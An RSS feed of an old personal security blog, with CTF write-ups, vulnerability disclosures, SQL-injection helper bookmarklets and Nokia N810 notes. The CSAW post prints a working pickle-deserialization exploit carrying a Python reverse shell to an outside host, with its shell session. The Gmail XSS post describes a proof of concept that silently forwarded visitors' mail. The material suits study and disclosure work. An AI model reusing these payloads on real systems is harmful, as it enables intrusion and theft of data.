<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>stuff &#187; English</title>
	<atom:link href="http://blog.beford.org/category/english/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.beford.org</link>
	<description></description>
	<lastBuildDate>Tue, 18 Oct 2011 11:33:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>CSAW 2011 &#8211; Reversing &#8211; Python 200</title>
		<link>http://blog.beford.org/2011/09/26/csaw-2011-reversing-python-200/</link>
		<comments>http://blog.beford.org/2011/09/26/csaw-2011-reversing-python-200/#comments</comments>
		<pubDate>Mon, 26 Sep 2011 06:43:41 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[csaw]]></category>
		<category><![CDATA[ctf]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=231</guid>
		<description><![CDATA[Python &#8211; 200 Points  nc csawctf.poly.edu 53080 When we connected to the port it was running a service Haderper: ----------------------------- &#124; Welcome to Haderper! &#124; &#124; Please enter your command &#124; ----------------------------- &#62; help Haderper v0.1-alpha Command help: help - &#8230; <a href="http://blog.beford.org/2011/09/26/csaw-2011-reversing-python-200/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<blockquote><p><strong>Python &#8211; 200 Points </strong></p>
<p>nc csawctf.poly.edu 53080</p></blockquote>
<p>When we connected to the port it was running a service Haderper:</p>
<pre>-----------------------------
| Welcome to Haderper!      |
| Please enter your command |
-----------------------------
&gt; help

Haderper v0.1-alpha

Command help:

help        - this screen
exec        - execute a command
derp        - derp a string
underp      - underp a string
logout/exit - disconnect

&gt; derp hi
UydoaScKcDAKLg==
&gt; underp UydoaScKcDAKLg==
hi
&gt;</pre>
<p>If we decode the base64 string we can see that it looks like a Pickle dump file:</p>
<pre>$ echo UydoaScKcDAKLg== | base64 -d
S'hi'
p0</pre>
<p>After several failed attempts to get a reverse shell or read command output (nc, ls >/dev/tcp, etc) and knowing that the daemon is running on python, we use a reverse shell written in python from <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">reverse shell cheatsheet.</a></p>
<pre>
# credits for this code goes to <a href="http://mail.python.org/pipermail/python-list/2002-July/756407.html">Jeff Epler</a>
import pickle, new, base64

def nasty(module, function, *args):
&nbsp;&nbsp;&nbsp;&nbsp;return pickle.dumps(new.classobj(function, (), {'__getinitargs__': lambda self, arg = args: arg, '__module__': module}) ())

print "underp "+base64.b64encode(nasty("os", "system", "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"1.1.1.7\",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")) 

$ python xpl.py | nc csawctf.poly.edu 53080
</pre>
<p>And our listening nc gets the remote shell:</p>
<pre>
$ nc -lp 8080
$ id
uid=1001(quine) gid=1001(quine) groups=1001(quine)
$ cd
$ ls
haderp.py
haderp.pyc
key.txt
$ cat key.txt
key{38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db}
</pre>
<p><strong>Key:</strong>38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db</p>
<p>You can see the code for the daemon <a href="http://pastie.org/2592716">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/09/26/csaw-2011-reversing-python-200/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hack.lu 2011 CTF &#8211; Scotty&#8217;s last signal Solution</title>
		<link>http://blog.beford.org/2011/09/21/hack-lu-2011-ctf-scottys-last-signal-solution/</link>
		<comments>http://blog.beford.org/2011/09/21/hack-lu-2011-ctf-scottys-last-signal-solution/#comments</comments>
		<pubDate>Wed, 21 Sep 2011 22:41:26 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[fluxfingers]]></category>
		<category><![CDATA[hacklu]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=232</guid>
		<description><![CDATA[Challenge summary: Scotty&#8217;s last signal You might have heard about Montgomery Scott, the legendary chief engineer of the U.S.S. Enterprise. What you probably did not know is his passion for Video Games &#8211; especially really old classics. We recently lost &#8230; <a href="http://blog.beford.org/2011/09/21/hack-lu-2011-ctf-scottys-last-signal-solution/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Challenge summary:</p>
<blockquote>
<h1>Scotty&#8217;s last signal</h1>
<p>You might have heard about Montgomery Scott, the legendary chief engineer of the U.S.S. Enterprise. What you probably did not know is his passion for Video Games &#8211; especially really old classics. We recently lost contact with his transport shuttle and we think you should examine this old game file we recently recieved because he might have just put a message into there. This would make sense if he could not send a fully blown Space-Unicode message signal to avoid attracting any Borg ships in the sector&#8230; (Borg usually are very bad at video games) His passion for Beaming and Warping might be of interest for your analysis. <a href="https://ctf.hack.lu/files/mario">https://ctf.hack.lu/files/mario</a></p></blockquote>
<p>First we downloaded the attached file and checked to see what kind of file it is.</p>
<blockquote><p>$  file mario<br />
mario: iNES ROM dump, 2x16k PRG, 1x8k CHR, [Vert.]<br />
$ mv mario mario.nes</p></blockquote>
<p>iNES Rom is a format developed by <a href="http://fms.komkon.org/iNES/">Marat Fayzullin</a> to store Nintendo / Famicon games, and it&#8217;s also de name of its emulator.</p>
<p>After spending some time playing the game,  looking at the dissasembled game using <a href="http://fceux.com/web/home.html">FCEUX debugger</a> and reading about <a href="http://www.patater.com/nes-asm-tutorials">NES ASM</a>, I noted this wasn&#8217;t probably the easy way to solve it <img src='http://blog.beford.org/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> . But by playing it we could see that some messages on the game were changed, FLUX instead of MARIO, SADFACE instead of GAME OVER.</p>
<p>A couple of <a href="http://www.google.com/search?q=nes+editor">Google searching</a> led me to this tool to change strings of SMB rom, <a href="http://www.romhacking.net/utilities/690/">SMB NES Rom Text Editor</a> luckily is written in C # and can be run on Linux too with Mono.</p>
<p><a href="http://blog.beford.org/wp-content/uploads/2011/09/Screenshot-SMB-NES-ROM-Text-Editor.png"><img class="aligncenter size-full wp-image-233" title="Screenshot-SMB NES ROM Text Editor" src="http://blog.beford.org/wp-content/uploads/2011/09/Screenshot-SMB-NES-ROM-Text-Editor.png" alt="" width="746" height="468" /></a></p>
<p><strong>Flag</strong>:  IMSTILLALIVEHELPME</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/09/21/hack-lu-2011-ctf-scottys-last-signal-solution/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Firefox 3.6.19 Remote Code Execution</title>
		<link>http://blog.beford.org/2011/04/15/firefox-3-6-19-remote-code-execution/</link>
		<comments>http://blog.beford.org/2011/04/15/firefox-3-6-19-remote-code-execution/#comments</comments>
		<pubDate>Fri, 15 Apr 2011 06:32:08 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[mozilla]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=176</guid>
		<description><![CDATA[To be disclosed soon. &#160;]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.beford.org/wp-content/uploads/2011/04/minefield-icon.png"><img class="aligncenter size-full wp-image-178" title="minefield-icon" src="http://blog.beford.org/wp-content/uploads/2011/04/minefield-icon.png" alt="" width="128" height="128" /></a></p>
<p>To be disclosed soon.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/04/15/firefox-3-6-19-remote-code-execution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nseries Nokia N810</title>
		<link>http://blog.beford.org/2008/06/25/nseries-nokia-n810/</link>
		<comments>http://blog.beford.org/2008/06/25/nseries-nokia-n810/#comments</comments>
		<pubDate>Wed, 25 Jun 2008 00:22:25 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Maemo]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[n810]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=26</guid>
		<description><![CDATA[I&#8217;ve already got the N810, so far I&#8217;ve got to say that it&#8217;s an awesome device, it&#8217;s way smaller than I thought it would be. I had to flash the N810 using the lastest firmware in order to install some &#8230; <a href="http://blog.beford.org/2008/06/25/nseries-nokia-n810/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve already got the N810, so far I&#8217;ve got to say that it&#8217;s an awesome device, it&#8217;s way smaller than I thought it would be. I had to <a href="http://maemo.org/community/wiki/HOWTO_FlashLatestNokiaImageWithLinux/">flash the N810</a> using the lastest firmware in order to install some applications such as <a href="http://www.skype.com/download/skype/nokia/">Skype</a>. I was a bit scared of doing it because I had some issues last time I flashed my cell phone, a Sony Ericcson W810i, I fuxored it although I was using Sony&#8217;s Official tool to update it, I was unable to use it for a weeks, the time it took me to do read about flashing with some 3rd party tools.</p>
<p>I&#8217;ve got the scratchbox environment running, I had some issues installing it on Ubuntu Hardy, following some advices from qwerty12 on <a href="http://www.internettablettalk.com">ITT</a> solved everything and allowed me to get the <a href="http://www.internettablettalk.com/forums/showthread.php?p=175208">Maemo SDK running on lastest Ubuntu</a>.</p>
<p>I had to disable vdso by adding vdso=0 to the kernel line on /boot/grub/menu.lst file. The second problem is related to a memory protection that got enabled on lastest kernel, you need to edit /etc/sysctl.conf and change: vm.mmap_min_addr = 65536 to: vm.mmap_min_addr = 4096.</p>
<p>I&#8217;ve already installed the following apps:</p>
<ul>
<li>Canola / Mplayer</li>
<li>FBReader / Evince / Xournal</li>
<li>MaemoFTP / rdesktop / openssh</li>
<li>Duke3D / LxDoom / Quake / iNES</li>
<li>Pidgin / XChat / Skype</li>
</ul>
<p>I was looking for a torrent client, found transmission for maemo, but it was not working very well, it was pausing itself after a while, so with my sbox installation, compiled libtorrent and rtorrent from debian&#8217;s repository, and installed on n810 with dpkg, it works like a charm.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2008/06/25/nseries-nokia-n810/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nokia N810</title>
		<link>http://blog.beford.org/2008/05/08/nokia-n810/</link>
		<comments>http://blog.beford.org/2008/05/08/nokia-n810/#comments</comments>
		<pubDate>Thu, 08 May 2008 10:06:46 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=20</guid>
		<description><![CDATA[I&#8217;ve been wondering if I should get a Nokia N810. I have already installed the Maemo SDK, and got some demos running on my box. I will keep checking the SDK this weekend, if things goes smooth, I&#8217;ll probably buy &#8230; <a href="http://blog.beford.org/2008/05/08/nokia-n810/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been wondering if I should get a Nokia N810. I have already installed the Maemo SDK, and got some demos running on my box. I will keep checking the SDK this weekend, if things goes smooth, I&#8217;ll probably buy it next week, it&#8217;ll cost me around 620 USD, 200 dollars more than Amazon&#8217;s price, sucks, but that&#8217;s what happens when companies like Nokia don&#8217;t bring their products into &#8216;third world countries&#8217;. Should I consider another device?</p>
<p><a href="http://blog.beford.org/wp-content/uploads/2008/05/screenshot.png"><img class="alignnone size-medium wp-image-22" title="Maemopad on Maemo SDK" src="http://blog.beford.org/wp-content/uploads/2008/05/screenshot-300x225.png" alt="Maemo SDK " width="216" height="162" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2008/05/08/nokia-n810/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Security Bookmarklets</title>
		<link>http://blog.beford.org/2008/01/28/security-bookmarklets/</link>
		<comments>http://blog.beford.org/2008/01/28/security-bookmarklets/#comments</comments>
		<pubDate>Mon, 28 Jan 2008 23:47:57 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[ie]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=13</guid>
		<description><![CDATA[I took a couple of days from my school vacation to write 3 bookmarklets that will help me when auditing web sites, I&#8217;d like to share them here because I know that they&#8217;ll help some of my friends, and probably &#8230; <a href="http://blog.beford.org/2008/01/28/security-bookmarklets/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I took a couple of days from my school vacation to write 3 bookmarklets that will help me when auditing web sites, I&#8217;d like to share them here because I know that they&#8217;ll help some of my friends, and probably one of the two readers of this blog.</p>
<p><a class="bml" href="javascript:(function(){ x=prompt('Input text:','');l=x.length;t=x.charCodeAt(0);for (i = 1;i&lt;l;i++) t = t +','+x.charCodeAt(i);prompt('Output: ', 'Char('+t+')'); })();">Text2SQLChar</a> Converts an string into a CHAR() mysql, usefull when magic_quotes is on.<br />
<a class="bml" href="javascript:(function(){url=decodeURI(location);if (url.indexOf('select 1')==-1) { alert('Inject a simple \'union select 1\' first.');return; }max=url.substring(url.indexOf('select 1')).split(',').length;if (max&gt;1) zx = (max-1)+','+max; else zx = 'select 1';tmp=url.indexOf(zx);location=encodeURI(url.substring(0, tmp+zx.length)+','+(max+1)+url.substring(tmp+zx.length));})()">SQLIncrement</a> Increments automatically the number of columns of the injected select query.<br />
<a class="bml" href="javascript:(function(){url=decodeURI(location);if (url.indexOf('select 1')==-1) { alert('Inject a simple \'union select 1\' first.');return; }max=url.substring(url.indexOf('select 1')).split(',').length;if (max&gt;2) zx = (max-2)+','+(max-1); else { if (max==2) zx='select 1'; else return; } tmp=url.indexOf(zx);dx = ','+max;location=encodeURI(url.substring(0, tmp+zx.length)+url.substring(tmp+zx.length+dx.length));})()">SQLDecrement</a> Decrements automatically the number of columns of the injected select query.<br />
<a class="bml" href="javascript:(function(){ var e,s; IB=1; function isDigit(c) { return ('0' &lt;= c &amp;&amp; c &lt;= '9') } L = decodeURI(location.href); LL = L.length; for (e=LL-1; e&gt;=0; --e) if (isDigit(L.charAt(e))) { for(s=e-1; s&gt;=0; --s) if (!isDigit(L.charAt(s))) break; break; } ++s; if (e&lt;0) return; oldNum = L.substring(s,e+1); newNum = '' + (parseInt(oldNum,10) + IB); while (newNum.length &lt; oldNum.length) newNum = '0' + newNum; location.href = L.substring(0,s) + newNum + L.slice(e+1); })();">Increment</a> Allows you to navigate up html files or images that have a number in them.<br />
<a class="bml" href="javascript:(function(){ var e,s; IB=-1; function isDigit(c) { return ('0' &lt;= c &amp;&amp; c &lt;= '9') } L = decodeURI(location.href); LL = L.length; for (e=LL-1; e&gt;=0; --e) if (isDigit(L.charAt(e))) { for(s=e-1; s&gt;=0; --s) if (!isDigit(L.charAt(s))) break; break; } ++s; if (e&lt;0) return; oldNum = L.substring(s,e+1); newNum = '' + (parseInt(oldNum,10) + IB); while (newNum.length &lt; oldNum.length) newNum = '0' + newNum; location.href = L.substring(0,s) + newNum + L.slice(e+1); })();">Decrement</a> Allows you to navigate down html files or images that have a number in them.<br />
<a class="bml" href="javascript:(function(){x=prompt('Text:','');l=x.length%3;if(l)for(i=1;i&lt;7-l;i++)x=x+'%20';;prompt('Output:',window.btoa(x));})();">base64</a> Firefox only, base64 with no padding</p>
<p>I wrote the first 3 of them, I&#8217;m not javascript god, so they need to get improved, I&#8217;ll try to make them shorter, and follow a couple of suggestion from <a href="http://www.bookmarklets.com/about/make/js.html">bookmarklets.com</a>. The two others come from <a href="http://ha.ckers.org/bookmarklets.html">RSnake&#8217; bookmarklet collection</a>, where I fixed a detail, it was not decoding the URL before using it, so if the url contained an escaped value at the end of the url like %20, it would modify it and change it to %21. I&#8217;ll keep this post updated whenever I find or write a new security-related bookmarklet. As another issue, I noticed that the site looks ugly on low resolution systems, so I&#8217;ll try to get a new theme to fix that on a couple of days and update the wordpress version.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2008/01/28/security-bookmarklets/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firefox 2.0.0.10 released</title>
		<link>http://blog.beford.org/2007/11/27/firefox-20010-released/</link>
		<comments>http://blog.beford.org/2007/11/27/firefox-20010-released/#comments</comments>
		<pubDate>Tue, 27 Nov 2007 05:40:52 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[gecko]]></category>
		<category><![CDATA[jar]]></category>
		<category><![CDATA[mozilla]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=11</guid>
		<description><![CDATA[Mozilla Corporation just released Firefox 2.0.0.10 which includes fixes against JAR uri attacks. This issue affected browsers that used Gecko engine, a quick check showed me that only K-meleon browser was also updated, however there are several Gecko based web &#8230; <a href="http://blog.beford.org/2007/11/27/firefox-20010-released/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Mozilla Corporation just released <a href="http://www.mozilla-europe.org/es/products/firefox/2.0.0.10/releasenotes/">Firefox 2.0.0.10</a> which includes fixes against <a href="http://blog.beford.org/?p=8">JAR uri attacks</a>. This issue affected browsers that used Gecko engine, a quick check showed me that only <a href="http://kmeleon.sourceforge.net/">K-meleon</a> browser was also updated, however there are several Gecko based web browsers that need to get fixed: <a href="http://en.wikipedia.org/wiki/List_of_web_browsers#Gecko-based_browsers">Gecko-based browsers.</a></p>
<p><strong>Update: </strong>Let&#8217;s make that, Firefox 2.0.0.11, which also fixes some regressions.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2007/11/27/firefox-20010-released/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Gadgets XSS (IE6/Opera)</title>
		<link>http://blog.beford.org/2007/11/25/google-gadgets-xss-ie6/</link>
		<comments>http://blog.beford.org/2007/11/25/google-gadgets-xss-ie6/#comments</comments>
		<pubDate>Sun, 25 Nov 2007 09:58:23 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=9</guid>
		<description><![CDATA[There is a recent discussion on ha.ckers.org regarding a possible CSRF that could allow an attacker to inject an evil gadget on someobdy else&#8217;s iGoogle page. After checking the format of the xml file used to define the gadgets properties, &#8230; <a href="http://blog.beford.org/2007/11/25/google-gadgets-xss-ie6/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>There is a recent discussion on <a href="http://ha.ckers.org/blog/20071119/google-gadgets-gaffe/">ha.ckers.org</a> regarding a possible CSRF that could allow an attacker to inject an evil gadget on someobdy else&#8217;s iGoogle page. After checking the format of the <a href="http://ha.ckers.org/asdf2.xml">xml file</a> used to define the gadgets properties, I noticed a couple of attributes that could be used as point of injections to active content, the <strong>thumbnail</strong> and <strong>screenshot </strong>attribute. Only one of them is vulnerable, the screenshot attribute, by using a javascript URI as value you can execute active content on certain browsers such as IE6. This is a poc that shows an alert with the current document.domain value:</p>
<p><a href="http://www.google.com/ig/adde?moduleurl=http://beford.org/stuff/ig.xml">www.google.com/ig/adde?moduleurl=http://beford.org/stuff/ig.xml</a></p>
<p>I&#8217;ve just notified Google about this, to avoid been a target of this flaw you can switch to Mozilla Firefox (+Noscript), or upgrade to IE7, which is not an option for Windows 2000 users.</p>
<p><strong>Update:</strong> According to a friend, Rafael, Opera users are vulnerable aswell, he sent me an screenshot which you can see here: <a href="http://blog.beford.org/wp-content/uploads/2007/11/ss.jpg" title="Opera Google XSS">Opera Google XSS.</a></p>
<p><strong>Update 2: </strong>Google fixed this on 27 November.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2007/11/25/google-gadgets-xss-ie6/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Firefox jar: Protocol Vulnerability</title>
		<link>http://blog.beford.org/2007/11/10/firefox-jar-protocol-vulnerability/</link>
		<comments>http://blog.beford.org/2007/11/10/firefox-jar-protocol-vulnerability/#comments</comments>
		<pubDate>Sat, 10 Nov 2007 10:47:45 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[gecko]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[jar]]></category>
		<category><![CDATA[mozilla]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=8</guid>
		<description><![CDATA[I just came across pdp&#8217;s finding jar protocol vulnerability on Mozilla Firefox, I think its a big issue, and the fact that it has been on bugzilla (#369814) for way more than ten fuck*ng days is not a good thing. &#8230; <a href="http://blog.beford.org/2007/11/10/firefox-jar-protocol-vulnerability/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I just came across pdp&#8217;s finding <a href="http://www.gnucitizen.org/blog/web-mayhem-firefoxs-jar-protocol-issues"> jar protocol vulnerability</a> on Mozilla Firefox, I think its a big issue, and the fact that it has been on <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=369814">bugzilla (#369814)</a> for way more than <a href="http://ha.ckers.org/blog/20070803/mozilla-says-ten-fucking-days/">ten fuck*ng days</a> is not a good thing.</p>
<p>According to pdp, this issue makes vulnerable to Cross-site scripting applications that allow users uploading compressed ZIP, and JAR files. After a couple of minutes messing around the poc&#8217;s, I figured out that sites with open redirect issues are vulnerable too. I&#8217;ve created this poc that attacks Gmail, it&#8217;s based on my previous post and it will only show your contacts list, it&#8217;s not being logged server side or anything (as some people thought that my previous poc did. Credit to <a href="http://lowtechlive.com/">tx</a> for discovering the <a href="http://sla.ckers.org/forum/read.php?3,505,10958#msg-10958">open redirect issue</a> used to exploit Google / Firefox):</p>
<p><a href="http://beford.org/stuff/jarjarbinks.htm">http://beford.org/stuff/jarjarbinks.htm</a></p>
<p>Who&#8217;s fault? Both, <a href="http://ha.ckers.org/blog/20070520/phishing-through-google-yet-again/">Google</a> <a href="http://ha.ckers.org/blog/20070224/google-fixes-one-redirect-but-leaves-lots-of-others/">for</a> <a href="http://ha.ckers.org/blog/20061224/google-redirects-help-phishers-again/">having</a> <a href="http://ha.ckers.org/blog/20060822/google-redirection-hole-used-for-phishing/">open</a> <a href="http://sla.ckers.org/forum/read.php?3,505,page=3#msg-1349">redirect</a> issues and not fixing them, and Mozilla Corporation for failing to address this problem.</p>
<p>What can I do to protect myself? Giorgio Maone have already added protection against this flaw to <a href="http://noscript.net/getit#devel">NoScript development version</a>.</p>
<p><strong> Update: </strong>NoScript released stable version with Jar protection.  A new <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=403331">bugzilla (#403331) </a>entry was created to fix the inappropiate redirect on jar protocol, according to the lastest comments and bug keyword, there seems to be a patch and will be availible with Firefox 2.0.0.10.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2007/11/10/firefox-jar-protocol-vulnerability/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Google Vulnerability</title>
		<link>http://blog.beford.org/2007/09/24/googlecom-cross-site-scripting-vulnerability/</link>
		<comments>http://blog.beford.org/2007/09/24/googlecom-cross-site-scripting-vulnerability/#comments</comments>
		<pubDate>Mon, 24 Sep 2007 03:29:26 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[jar]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=3</guid>
		<description><![CDATA[Yesterday, I found a new Google.com XSS vulnerability that can be abused to steal information from Gmail accounts, I&#8217;ve done responsible disclosure of at least 3 vulns to Google, but since I haven&#8217;t got enough &#8216;motivation&#8217;, I&#8217;ll go full disclosure &#8230; <a href="http://blog.beford.org/2007/09/24/googlecom-cross-site-scripting-vulnerability/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Yesterday, I found a new Google.com XSS vulnerability that can be abused to steal information from Gmail accounts, I&#8217;ve done responsible disclosure of at least 3 vulns to Google, but since I haven&#8217;t got enough &#8216;motivation&#8217;, I&#8217;ll go full disclosure now.</p>
<p>The vulnerability exists in Blogspot polls feature, I had already disclosed a vulnerability on this system. The &#8216;font&#8217; parameter was not being sanitized before being used inside an STYLE tag, so you could inject IE&#8217;s expression() and Mozilla&#8217;s -moz-binding. They fixed it, however they didn&#8217;t check enough the rest of the code, the new XSS is:</p>
<p><a href="http://www.google.com/reviews/polls/display/159769971366811755/blogger_template/vote?purl=blogspot.com%2F&amp;chrtclr=%23599be2&amp;hideq=false&amp;font=normal+normal+100%25+Helvetica%2CArial%2CVerdana%2C%20Trebuchet+MS%20%2C+Sans-serif&amp;u_tz=%22%3EXSS">Simple XSS POC</a></p>
<p>Since its Sunday and there is nothing else to do, I&#8217;ve created 2 more pocs, one of them, shows a your contacts, the  second one will make Gmail forward all new received emails to another email account,  no user interaction required, well you just need to open a website while still logged to Gmail.</p>
<p>POC1: <a href="http://beford.org/stuff/contacts.htm">http://beford.org/stuff/contacts.htm</a><br />
POC2: <a href="http://beford.org/stuff/gmail.htm">http://beford.org/stuff/gmail.htm</a></p>
<p>I have tested them under IE, Konqueror, Opera and Firefox, it should work on all of them. If you want to be protected against this kind of attacks, I&#8217;d highly recommend Firefox + <a href="http://noscript.net/">NoScript</a>.</p>
<p><strong>Update</strong>: Google fixed this issue, I&#8217;d like to ask the people that looked at the second poc to disable forwarding if you have not done so, I&#8217;m still getting ton of email. This screenshot shows how to disable forwarding.</p>
<p><a href="http://blog.beford.org/wp-content/uploads/2007/09/gmail.png" title="gmail.png"><img src="http://blog.beford.org/wp-content/uploads/2007/09/gmail.thumbnail.png" alt="gmail.png" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2007/09/24/googlecom-cross-site-scripting-vulnerability/feed/</wfw:commentRss>
		<slash:comments>47</slash:comments>
		</item>
	</channel>
</rss>

